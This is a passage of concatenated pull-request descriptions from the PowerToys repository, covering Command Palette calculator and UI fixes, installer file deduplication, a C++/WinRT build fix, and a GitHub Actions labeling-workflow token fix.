This adds `rand()` and `randi()` functions to Command Palette's
Calculator, making it consistent with Run.
It also expands upon the return values from `ToWStringFullPrecision()`,
so NaN, ParseError and +/-infinity results are passed back to the
caller, improving the specificity of the error message display.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47707
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The two new functions have been added to **ExprtkEvaluator.cpp**,
alongside `sign()` and `factorial()`. As they need to handle the state
of the RNG, they're slightly more complex in implementation. I used the
Mersenne Twister RNG with a uniform distribution, and the instances are
marked `static thread_local` in case the engine moves to multithreaded
evaluation in the future.
It's possible for the RNG to return a value out of the range of
`double`, and this is caught and `quiet_NaN()` is returned. To prevent
this being caught as a generic parse error, I updated
`ToWStringFullPrecision()` to distinguish between `NaN`, expression
parsing errors and infinity values. This should improve the accuracy of
error messages for other expressions, too.
Finally, I corrected a comment in **CalculateEngine.cs,** which still
referred to the Mages calculation engine. The log/ln mapping is the same
for both engines, so the comment was still accurate except for this
reference.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Unit tests were added to exercise the new functions. All Calculator
tests pass:
<img width="375" height="59" alt="image"
src="https://github.com/user-attachments/assets/5a33e1ed-a4fd-4d53-b9ba-6b44000f1bf4"
/>
Confirmed that error messages are displaying correctly for the
newly-exposed result types:
**Not a number**
<img width="787" height="128" alt="image"
src="https://github.com/user-attachments/assets/8c73dcf6-122b-4af8-bf1a-62284842433a"
/>
<img width="786" height="145" alt="image"
src="https://github.com/user-attachments/assets/fe14338c-1160-4aae-83dd-5ca3491ae59e"
/>
**+/- Infinity**
<img width="898" height="137" alt="image"
src="https://github.com/user-attachments/assets/20cfacda-72a7-44bb-a875-af7be39ee7e2"
/>
**Parser failure**
<img width="607" height="139" alt="image"
src="https://github.com/user-attachments/assets/7d7120b2-a2cf-45b6-ab89-79af4051fa50"
/>
<img width="587" height="140" alt="image"
src="https://github.com/user-attachments/assets/2dc7a365-7ee6-4379-8b3f-47b3912e6891"
/>
## Summary of the Pull Request
This fixes Calculator functions with multiple arguments in cultures
where the number group separator and list separator are identical, e.g.
**en-US** and **en-GB**.
It maintains existing parsing behaviour for other cultures where the
separators differ, e.g. **de-DE**.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47726
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The root issue was in the number translation step. In cultures such as
en-US, commas were being consumed as part of numeric tokens and were
treated as number group separators, which broke functions whcih took
multiple arguments. For example, `max(1,2)` would be translated as
`max(12)` and `pow(2,3)` as `pow(23)`. The number translator's result
would be passed on to ExprTK, which could sometimes still interpret the
input and would give a result (`12` in the case of `max(1,2)`); for
cases like `pow(2,3)`, it would surface an error, as the expression
`pow(23)` is invalid.
This fix resolves the ambiguity in two ways:
- It uses stricter grouped number matching when the culture's list
separator and number group separator are the same.
- It preserves separator characters for multi-argument functions. This
means that expressions like `max(123,456)` are correctly interpreted as
two arguments inside the function call, while `123,456` outside a
function call is still interpreted as a grouped number.
Care has been taken to preserve grouped numbers inside single-argument
functions, e.g. `ceil(123,456.23)`.
The more permissive parsing for cultures which do not have this
ambiguity has been retained. (Arguably this is too loose, but that's
something to consider separately.)
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Added and updated unit tests, with **en-US** used as the representative
'ambiguous culture'. Coverage includes:
- `max()`, `min()` and `pow()`
- Grouped numbers in single-argument functions like `ceil()`, `floor()`,
`round()`, `log()` and `sin()`.
- Nested expressions
- Spacing around function calls
- Scientific notation
- Hexadecimal, binary and octal literals
All tests pass:
<img width="696" height="52" alt="image"
src="https://github.com/user-attachments/assets/ed89fbb9-70e0-4cf7-8e13-12f1f36b6037"
/>
Manual testing was also performed to confirm:
- Multi-argument functions now evaluate correctly
<img width="243" height="136" alt="image"
src="https://github.com/user-attachments/assets/b5c96954-ee6d-4842-b599-561ccbd10607"
/>
- Grouped numbers inside single-argument functions still work
<img width="356" height="135" alt="image"
src="https://github.com/user-attachments/assets/918425b0-cce4-4708-855b-c8b4916e6a4a"
/>
- Nested expressions and spacing variations are handled correctly
<img width="606" height="137" alt="image"
src="https://github.com/user-attachments/assets/12be5aa9-ba33-4000-96d5-444a2932bbe7"
/>
<img width="482" height="135" alt="image"
src="https://github.com/user-attachments/assets/aea2ebce-7c88-469e-b9e4-bdb7099ef538"
/>
## Summary of the Pull Request
This PR fixes WMC1506 warnings introduced by the extension gallery PR.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR filters URIs from extension gallery and allows only HTTP/HTTPS
URIs as links for the installation page.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
This pull request updates the logging behavior in the `LogMessage`
method to ensure that log messages are categorized and logged according
to their severity (Error, Warning, or Info), instead of always using
debug-level logging.
Logging improvements:
* Updated the `LogMessage` method in `AppExtensionHost.cs` to log
messages using `CoreLogger.LogError`, `CoreLogger.LogWarning`, or
`CoreLogger.LogInfo` based on the `MessageState` of the incoming
message, improving log clarity and severity categorization.
Previously, any logging sent to LogMessage (which is exposed in the
toolkit) would only be written when debugging. Any error/warning/info
messages sent as part of the normal operation would be bypassed because
it only used `CoreLogger.LogDebug`
Now extension developers can log errors/warnings and use PowerToys log
export / bug report feature to help their users provide them with
actionable data to make their extensions better.
(this PR is an updated version of #43784)
This PR adds a new type of page to Command Palette:
The `ParametersPage`.
This allows extensions to create commands that require a set of
parameters
before invoking the command. Previously, extensions could create
commands with a
form page to use an adaptive card for parameter input, but that was a
relatively
heavyweight UX.
Instead, the `ParametersPage` allows extensions to define a set of
lightweight
inputs, which allows for a more streamlined experience.
The parameters page is made up of a set of "runs". Each run represents a
single element in the search box. Runs can be either:
* A label run: a static piece of text
* An value run: some input for the user to provide a value. These fall
into several categories:
* String input
* Command Input
* `IInvokableCommand`s become buttons in the search box
* `IListPage`s become a list input to pick from (**these will be added
in a follow-up PR**)
There are a ton of samples included.
I also added all my draft notes in the drafts folder, to see how we got
here.
I'd skip reviewing those.
Furthermore, I added the "dumb" token support, where an extension can
opt in to
having tokens in the search box, delimited by ZWSP characters.
The XAML styling was fixed by Niels a few months back
Closes#40948
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
## Summary
Adds a **Hide app descriptions** toggle setting to the Command Palette
All Apps extension. When enabled, the descriptive subtitle text next to
app results is hidden for a cleaner look.
### Changes
| File | Change |
|------|--------|
| `AllAppsSettings.cs` | New `HideAppDescriptions` `ToggleSetting`
(default: `false`), following the existing `EnableStartMenuSource`
pattern |
| `AllAppsPage.cs` | Conditionally clears `Subtitle` on each
`AppListItem` in `GetPrograms()` when setting is enabled |
| `Resources.resx` / `Resources.Designer.cs` | Resource strings for the
setting label and description |
| `AllAppsPageTests.cs` | Two new tests verifying subtitle visibility
with setting on/off |
### Validation
- [x] Build clean (exit code 0)
- [x] All 14 unit tests pass (including 2 new tests)
- [x] Setting defaults to `false` (preserves current behavior)
- [x] Empty subtitle renders gracefully (no placeholder shown)
- [x] No ABI breaks — all changes scoped to All Apps extension
Closes#46634
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes#46810 — When navigating backward in CmdPal (Esc/Backspace), the
bottom command bar retained stale commands from the previous page until
the user changed selection.
## Root Cause
In `ListPage.xaml.cs` `OnNavigatedTo()`, the back-navigation path sets
selection using `SuppressSelectionChangedScope()`, which prevents
`Items_SelectionChanged` from firing. This means `PushSelectionToVm()`
is never called, so `UpdateCommandBarMessage` is never sent to
`CommandBarViewModel`, and the command bar displays stale state.
## Fix
Added `PushSelectionToVm()` after the selection restoration block inside
the back-navigation dispatcher callback. This is safe because:
- `PushSelectionToVm()` is idempotent (guards with
`ReferenceEquals(_lastPushedToVm, li)`)
- Handles both selected items (pushes to VM) and no selection (sends
null)
- Triggers `UpdateCommandBarMessage` which refreshes the command bar
## Validation
### Manual Test Steps
| Scenario | Expected |
|----------|----------|
| **Esc navigation** — Navigate into nested page, press Esc | Bottom bar
commands update immediately to parent page |
| **Backspace navigation** — Navigate into nested page, press Backspace
| Bottom bar commands update immediately to parent page |
| **Forward navigation** — Navigate forward into a page | Commands
update (no regression) |
| **Selection change** — Change selection on any page | Commands update
(no regression) |
| **No flicker** — Navigate back and observe command bar | Single clean
update, no double-fire |
| **Empty page** — Navigate back to page with no selectable items |
Graceful handling, no crash |
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes the pluralization bug in Command Palette settings where extensions
with a single command displayed "1 commands" and "1 fallback commands"
instead of the correct singular forms.
### Changes
**`ProviderSettingsViewModel.cs`** — Rewrote the `ExtensionSubtext`
property to use tuple pattern matching that selects the correct
singular/plural format string based on whether command count and
fallback count equal 1.
**`Resources.resx`** — Added 4 new resource strings for singular form
combinations:
- `builtin_extension_subtext_singular` — "{0}, {1} command"
- `builtin_extension_subtext_with_fallback_singular_command` — "{0}, {1}
command, {2} fallback commands"
- `builtin_extension_subtext_with_fallback_singular_fallback` — "{0},
{1} commands, {2} fallback command"
- `builtin_extension_subtext_with_fallback_singular_both` — "{0}, {1}
command, {2} fallback command"
**`ProviderSettingsViewModelPluralizationTests.cs`** — 17 new test cases
covering all singular/plural combinations for command and fallback
command counts.
### Validation
- [x] Matches existing `CompositeFormat` pattern used elsewhere in
CmdPal
- [x] Follows `.editorconfig` and StyleCop conventions
- [x] All files within `CommandPalette.slnf` scope
Closes#47110
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Diagnostic / prototype fix for the LNK2038 C++/WinRT version mismatch
that has been failing PowerToys CI on every batched-CI run since commit
`59eefd9581` (5/14):
`
SettingsAPI.lib(settings_objects.obj): error LNK2038: mismatch detected
for 'C++/WinRT version':
value '2.0.250303.1' doesn't match value '2.0.250303.5' in main.obj
[src/modules/GrabAndMove/GrabAndMove/GrabAndMove.vcxproj]
`
## Root cause
GrabAndMove.vcxproj does not import the `Microsoft.Windows.CppWinRT`
NuGet package, so `main.cpp` picks up `<winrt/Windows.Foundation.h>`
(included transitively via `SettingsAPI/settings_objects.h` ->
`common/utils/json.h`) from the **Windows SDK's in-box CppWinRT**
instead of the repo-pinned NuGet version.
After the SHINE-VS18-Latest agent image picked up a newer Windows SDK
shipping `CppWinRT 2.0.250303.5`, `main.obj` began emitting that version
via `#pragma detect_mismatch`, while `SettingsAPI.lib` continued to be
built against the pinned NuGet `2.0.250303.1`. The linker rejects the
mix.
This was masked while the agent SDK happened to ship a matching CppWinRT
version, and surfaced after #47470 (Bump WindowsAppSDK to 2.0.1) plus
the agent image roll.
## Fix
Mirror the canonical CppWinRT NuGet wiring used by every other native
vcxproj in the repo (see `src/common/SettingsAPI/SettingsAPI.vcxproj`
for the reference pattern):
- Add `packages.config` pinning `Microsoft.Windows.CppWinRT
2.0.250303.1`.
- Import the props after `Microsoft.Cpp.Default.props`.
- Import the targets in an `ExtensionTargets` `ImportGroup`.
- Add `EnsureNuGetPackageBuildImports` for restore-time validation.
## Validation
- Local x64/Release build of GrabAndMove.vcxproj clean (linked against
SettingsAPI.lib without LNK2038).
- (Local SDK on the dev box already ships matching CppWinRT
2.0.250303.1, so the LNK2038 cannot reproduce locally; the CI pool agent
has the newer SDK that exposes the latent issue.)
- Awaiting PowerToys CI to confirm fix on the agent image.
## Related
- #47470 (Bump WindowsAppSDK to 2.0.1) — preceded but did not directly
cause this; just changed which CppWinRT was sitting in the include path.
- Failing CI runs: 319304, 319351, 319593 (all on shine-oss PowerToys CI
definition 3).
## Summary of the Pull Request
Prevents users from clearing the name field in ImageResizer size preset
edit dialog. Empty names made the UI confusing without causing errors.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Added validation guard in `ImageSize.Name` property setter:
```csharp
public string Name
{
get => _name;
set
{
if (!string.IsNullOrWhiteSpace(value))
{
SetProperty(ref _name, value);
}
}
}
```
Invalid assignments (empty, null, whitespace) are silently ignored,
preserving the existing value. This matches the existing pattern used
for `FileName` validation in `ImageResizerViewModel`.
TwoWay binding in UI causes the TextBox to revert when users attempt to
clear the field—standard behavior for required fields.
## Validation Steps Performed
- Added unit test `ImageSizeNameShouldNotBeSetToEmptyOrNull()` covering
all rejection and acceptance cases
- Verified silent rejection behavior matches `FileName` property pattern
> [!WARNING]
>
> <details>
> <summary>Firewall rules blocked me from connecting to one or more
addresses (expand for details)</summary>
>
> #### I tried to connect to the following addresses, but was blocked by
firewall rules:
>
> - `i1qvsblobprodcus353.vsblob.vsassets.io`
> - Triggering command: `/usr/bin/dotnet dotnet build
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Helpers/ResultHelper.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Helpers/RegistryHelper.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Enumerations/TruncateSide.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Constants/KeyName.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Constants/MaxTextLength.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Commands/CopyRegistryInfoCommand.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Commands/OpenKeyInEditorCommand.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Re
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/CopyType.cs
/home/REDACTED/work/PowerToys/PowerToys/src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.Registry/Icons.cs`
(dns block)
>
> If you need me to access, download, or install something from one of
these locations, you can either:
>
> - Configure [Actions setup
steps](https://gh.io/copilot/actions-setup-steps) to set up my
environment, which run before the firewall is enabled
> - Add the appropriate URLs or hosts to the custom allowlist in this
repository's [Copilot coding agent
settings](https://github.com/microsoft/PowerToys/settings/copilot/coding_agent)
(admins only)
>
> </details>
<!-- START COPILOT ORIGINAL PROMPT -->
<details>
<summary>Original prompt</summary>
>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>[Settings: ImageResizer] Edit size dialog: Add validation
against empty name</issue_title>
> <issue_description>There is one small thing we should add. (But I
don't know how.)
> The data in the name field of the edit dialog should be validated
against `.NullOrEmpty`!
> _Originally posted by @htcfreek in
https://github.com/microsoft/PowerToys/pull/13285#issuecomment-924113251_
>
> **Detailed description:**
> While users edit an image size in the ImageResizer settings on PT's
settings ux they are able to clear the name of the image size. This
doesn't lead to errors/exceptions, but it also doesn't make sense to
have sizes without a name. So we should prevent user from doing this in
the edit dialog.
>
> _**Note:**_
> This is the second and last change that is needed to prevent the users
from having incorrect image size settings (#8698). But I think this is
not as relevant, because a missing name won't break image resizing._
>
> ---
>
> cc: @niels9001 </issue_description>
>
> <agent_instructions>Implement a proper fix for this issue. Do NOT
create placeholder stub files. Create actual working code that addresses
the issue described. Follow PowerToys coding guidelines and
conventions.</agent_instructions>
>
> ## Comments on the Issue (you are @copilot in this section)
>
> <comments>
> <comment_new><author>@TheJoeFin</author><body>
> does this issue still happen with v0.73.0?
/needinfo</body></comment_new>
> </comments>
>
</details>
<!-- START COPILOT CODING AGENT SUFFIX -->
- Fixesmicrosoft/PowerToys#13336
<!-- START COPILOT CODING AGENT TIPS -->
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✨ Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=✨+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
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Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: yeelam-gordon <73506701+yeelam-gordon@users.noreply.github.com>
## Summary of the Pull Request
Two related installer changes to (1) eliminate genuinely-unused
dependencies and (2) deduplicate shared WinAppSDK files between
`<install>\` and `<install>\WinUI3Apps\` to shrink the installer
download.
### 1. Remove unused dependencies (~11 MB savings per output location)
- **System.Data.SqlClient**: Removed from MouseWithoutBorders projects
and the central `Directory.Packages.props` pin. It was a transitive
dependency of `Microsoft.Windows.Compatibility` but PowerToys has zero
SQL database usage.
- **Unused `using` import**: Removed `using
System.ServiceModel.Channels` from MouseWithoutBorders `Program.cs` (no
WCF usage).
- **MFC / C++ AMP / OpenMP DLLs**: Added `RemoveUnusedVCRuntimeDlls`
target in `Directory.Build.targets` to clean up `mfc140*`, `mfcm140*`,
`vcamp140*`, and `vcomp140*` DLLs that leak from the VC++
Redistributable tree but are not imported by any PowerToys binary
(verified with `dumpbin /dependents` across all installed binaries).
Also excluded MFC DLLs from installer file collection.
### 2. WinAppSDK file deduplication (build-time only; install-time uses
copy)
**Background**: The `WinUI3Apps` subfolder must remain a real directory
because MSIX sparse package registration applies DACL changes to the
`ExternalLocation` folder (PR #47177). Flattening is not viable.
**Build-time** (`generateAllFileComponents.ps1`): computes the SHA256
intersection of root and `WinUI3Apps` files, and for each file that is
also present in the BaseApplications WXS file list, removes the
duplicate from the WinUI3Apps WXS component list and writes its name to
a `hardlinks.txt` manifest. The BaseApplications cross-check ensures we
never deduplicate a file the MSI does not actually deploy at the install
root, which would otherwise leave both copies missing post-install. The
manifest is written as UTF-8 without BOM (via
`[System.IO.File]::WriteAllLines` with `UTF8Encoding($false)`) so its
encoding is identical regardless of the build host's PowerShell version.
This step produces the **MSI download-size win** (~97 MB smaller cab;
LZX:21 was already deduplicating most byte-identical content
automatically inside the cab).
**Install-time** (`CreateWinAppSDKHardlinksCA` custom action):
- Reads `hardlinks.txt` after `InstallFiles` as a raw byte stream and
converts each line to a `std::wstring` via `MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS, ...)`. Avoids `std::wifstream`'s ANSI-codepage
codecvt so non-ASCII paths can never be silently mangled.
- For each entry, computes `(installDir / fileName).lexically_normal()`
and `(winui3Dir / fileName).lexically_normal()`, then verifies via
`std::mismatch` that each resolved path is still rooted at its
respective folder. Manifest entries containing `..`, absolute paths, or
alternate-stream syntax are logged and skipped.
- Materialises each validated entry from `<install>\<name>` into
`<install>\WinUI3Apps\<name>` via `fs::copy_file` (overwrite_existing).
- Reports the per-file copy / failure counts to the install log. If
every entry failed (`created == 0 && failed > 0`), the CA escalates to
`E_FAIL` so the install does not silently succeed with an unusable
WinUI3Apps tree.
`DeleteWinAppSDKHardlinksCA` removes the materialised copies before
`RemoveFiles` on uninstall, using the same UTF-8 reader and per-entry
containment check.
**WiX sequencing**: `CreateWinAppSDKHardlinks` runs
`After="InstallFiles"` with `Condition="NOT Installed OR
WIX_UPGRADE_DETECTED OR REINSTALL"` so a `msiexec /fa` repair refreshes
the deduplicated copies (otherwise `RemoveFiles` would orphan them).
#### Why copy and not hard-link
A hard-linked variant of this CA was originally proposed but caused a
Monaco preview-handler regression. Hard-links share an NTFS inode (and
therefore one DACL) between `<install>\<file>` and
`<install>\WinUI3Apps\<file>`. The MSIX sparse-package registrations for
PowerRename / ImageResizer / FileLocksmith / NewPlus run after the dedup
CA and propagate the `WinUI3Apps` parent's rich DACL (Capability SID, 5×
Package SIDs, 5× conditional SYSAPPID ACE, RC SID) onto the shared
inode. The root path then also exposes the rich DACL, which trips a
kernel "stricter access evaluation" path that blocks the LOW-IL
`prevhost.exe` from `LoadLibrary`-ing `hostfxr.dll` (and the rest of the
.NET runtime), turning the Monaco preview pane blank for `.json` / `.md`
/ `.cs` / `.xaml` / `.svg` / `.xml` files.
`fs::copy_file` creates a **fresh inode** for the WinUI3Apps copy. The
root inode keeps its simple DACL (`SY:F + BA:F + owner:F` + inherited
`BU:RX`) so LOW-IL `prevhost.exe` can still load it — Monaco preview
works. The WinUI3Apps copy inherits the WinUI3Apps parent's rich DACL
via normal NTFS inheritance (matches 0.99.1 behaviour exactly) — MSIX
context-menu shells continue to work.
#### Trade-off
| Metric | Hard-link variant (rejected) | This PR (file copy) | 0.99.1
(no dedup) |
|---|---|---|---|
| MSI size | ~296 MB | ~296 MB | ~393 MB |
| On-disk after install | ~2,475 MB | ~2,772 MB | ~2,772 MB |
| DACL contamination risk | YES (broke Monaco) | NO | NO |
The on-disk savings (~297 MB) are given up in exchange for eliminating
the DACL contamination risk; the **installer download savings (~97 MB)**
are preserved by the build-time WiX/cab dedup.
#### Edge cases handled
- Empty duplicate list: `hardlinks.txt` always written, CA handles
empty.
- All files duplicated: `Generate-FileComponents` returns early for
empty list.
- File stripped from BaseApplications by an earlier build step:
BaseApplications cross-check skips it during dedup so neither copy goes
missing.
- Manifest entry escapes install root (`..`, absolute path): rejected
per-entry, install continues.
- Manifest line is non-UTF-8: rejected per-entry, install continues.
- Source missing at install time: per-entry skip, install continues.
- All copies fail: install aborts loudly via `E_FAIL` (catastrophic-case
escalation).
- Upgrade or `msiexec /fa` repair: CA fires (`NOT Installed OR
WIX_UPGRADE_DETECTED OR REINSTALL`).
**MSI repair risk**: Burn bundle uses `SuppressRepair=yes` and
`MajorUpgrade` (full uninstall + reinstall) for all version upgrades, so
the standard upgrade path is unaffected. The `OR REINSTALL` clause
covers power users running `msiexec /fa` directly.
## PR Checklist
- [x] **Communication:** Discussed approach via PRs #46866, #47177,
#46745
- [ ] **Tests:** Installer infrastructure only — no runtime behaviour
changes
- [ ] **Localization:** N/A
- [ ] **Dev docs:** N/A
- [ ] **New binaries:** N/A
## Detailed Description of the Pull Request / Additional comments
Based on the approach from PR #46745 by @yeelam-gordon, rebased onto
latest main and switched from hard-links to file copies after the DACL
contamination root cause was identified. Hardening (UTF-8 read, path
containment, catastrophic-case escalation, REINSTALL repair,
BaseApplications-filtered dedup) added in response to review feedback.
These changes are purely build/installer infrastructure — no runtime
behaviour changes to any PowerToys module.
## Validation Steps Performed
Validated on a 0.99.4 / 0.99.5 local install (per-user
`%LocalAppData%\PowerToys`):
- ✅ `dumpbin /dependents` across the installed PowerToys tree confirmed
zero binaries import `mfc140*`, `mfcm140*`, `vcamp140*`, or `vcomp140*`
— the cleanup target removes ~11 MB of genuinely unused VC runtime DLLs.
- ✅ `System.Data.SqlClient` has zero call-sites in PowerToys source.
- ✅ Local installer build produces a 296 MB MSI (down from 393 MB
pre-dedup, ~97 MB cab savings purely from the build-time WiX dedup).
- ✅ MSI table inspection (`wix msi decompile`) confirms the deferred CAs
are present (`CreateWinAppSDKHardlinks`, `DeleteWinAppSDKHardlinks`) and
the `hardlinks.txt` File row is registered.
- ✅ MSI table inspection confirms .NET runtime DLLs (`hostfxr.dll`,
`coreclr.dll`, `hostpolicy.dll`, `clretwrc.dll`, `Accessibility.dll`,
`backup_restore_settings.json`) appear ONLY in
`BaseApplicationsFiles_File_*`, NOT in `WinUI3ApplicationsFiles_File_*`
— proving the build-time dedup worked.
- ✅ Post-install verification: deduplicated files materialised at both
root and WinUI3Apps with byte-identical SHA256 hashes, and `fsutil
hardlink list` returns link-count == 1 for each — proving the
install-time copy approach worked, not hard-link.
- ✅ DACL on root .NET runtime DLLs is clean: no Package SID, no
Capability SID, no SYSAPPID conditional ACE, no `ALL APPLICATION
PACKAGES` ACE — Monaco preview load path is safe.
- ✅ DACL on WinUI3Apps copies has the rich MSIX inheritance —
context-menu shells continue to work (matches 0.99.1).
- ✅ All four MSIX sparse packages (PowerRename, ImageResizer,
FileLocksmith, NewPlus) registered after install.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes the `Auto-label Issues by Area` workflow, which currently logs
`GITHUB_TOKEN is not set; skipping.` on every run and never applies
labels.
Failing run on issue #47818:
https://github.com/microsoft/PowerToys/actions/runs/25722067064/job/75525452318
## Root cause
`actions/github-script@v7` consumes its `github-token` input only to
authenticate the injected `github` Octokit object. It does **not**
export that value to `process.env.GITHUB_TOKEN`. The inline script reads
`process.env.GITHUB_TOKEN` to authorize a direct `fetch()` against
`https://models.inference.ai.azure.com/chat/completions`, so the token
check at the top of `labelIssue()` always fails and the function returns
early before calling the model.
## Fix
Add a step-level `env:` block exposing `GITHUB_TOKEN` to the Node
process running the inline script. The existing `with.github-token`
input is preserved so the injected `github` Octokit continues to
authenticate.
`yaml
- name: Apply area labels with AI
uses: actions/github-script@v7
env:
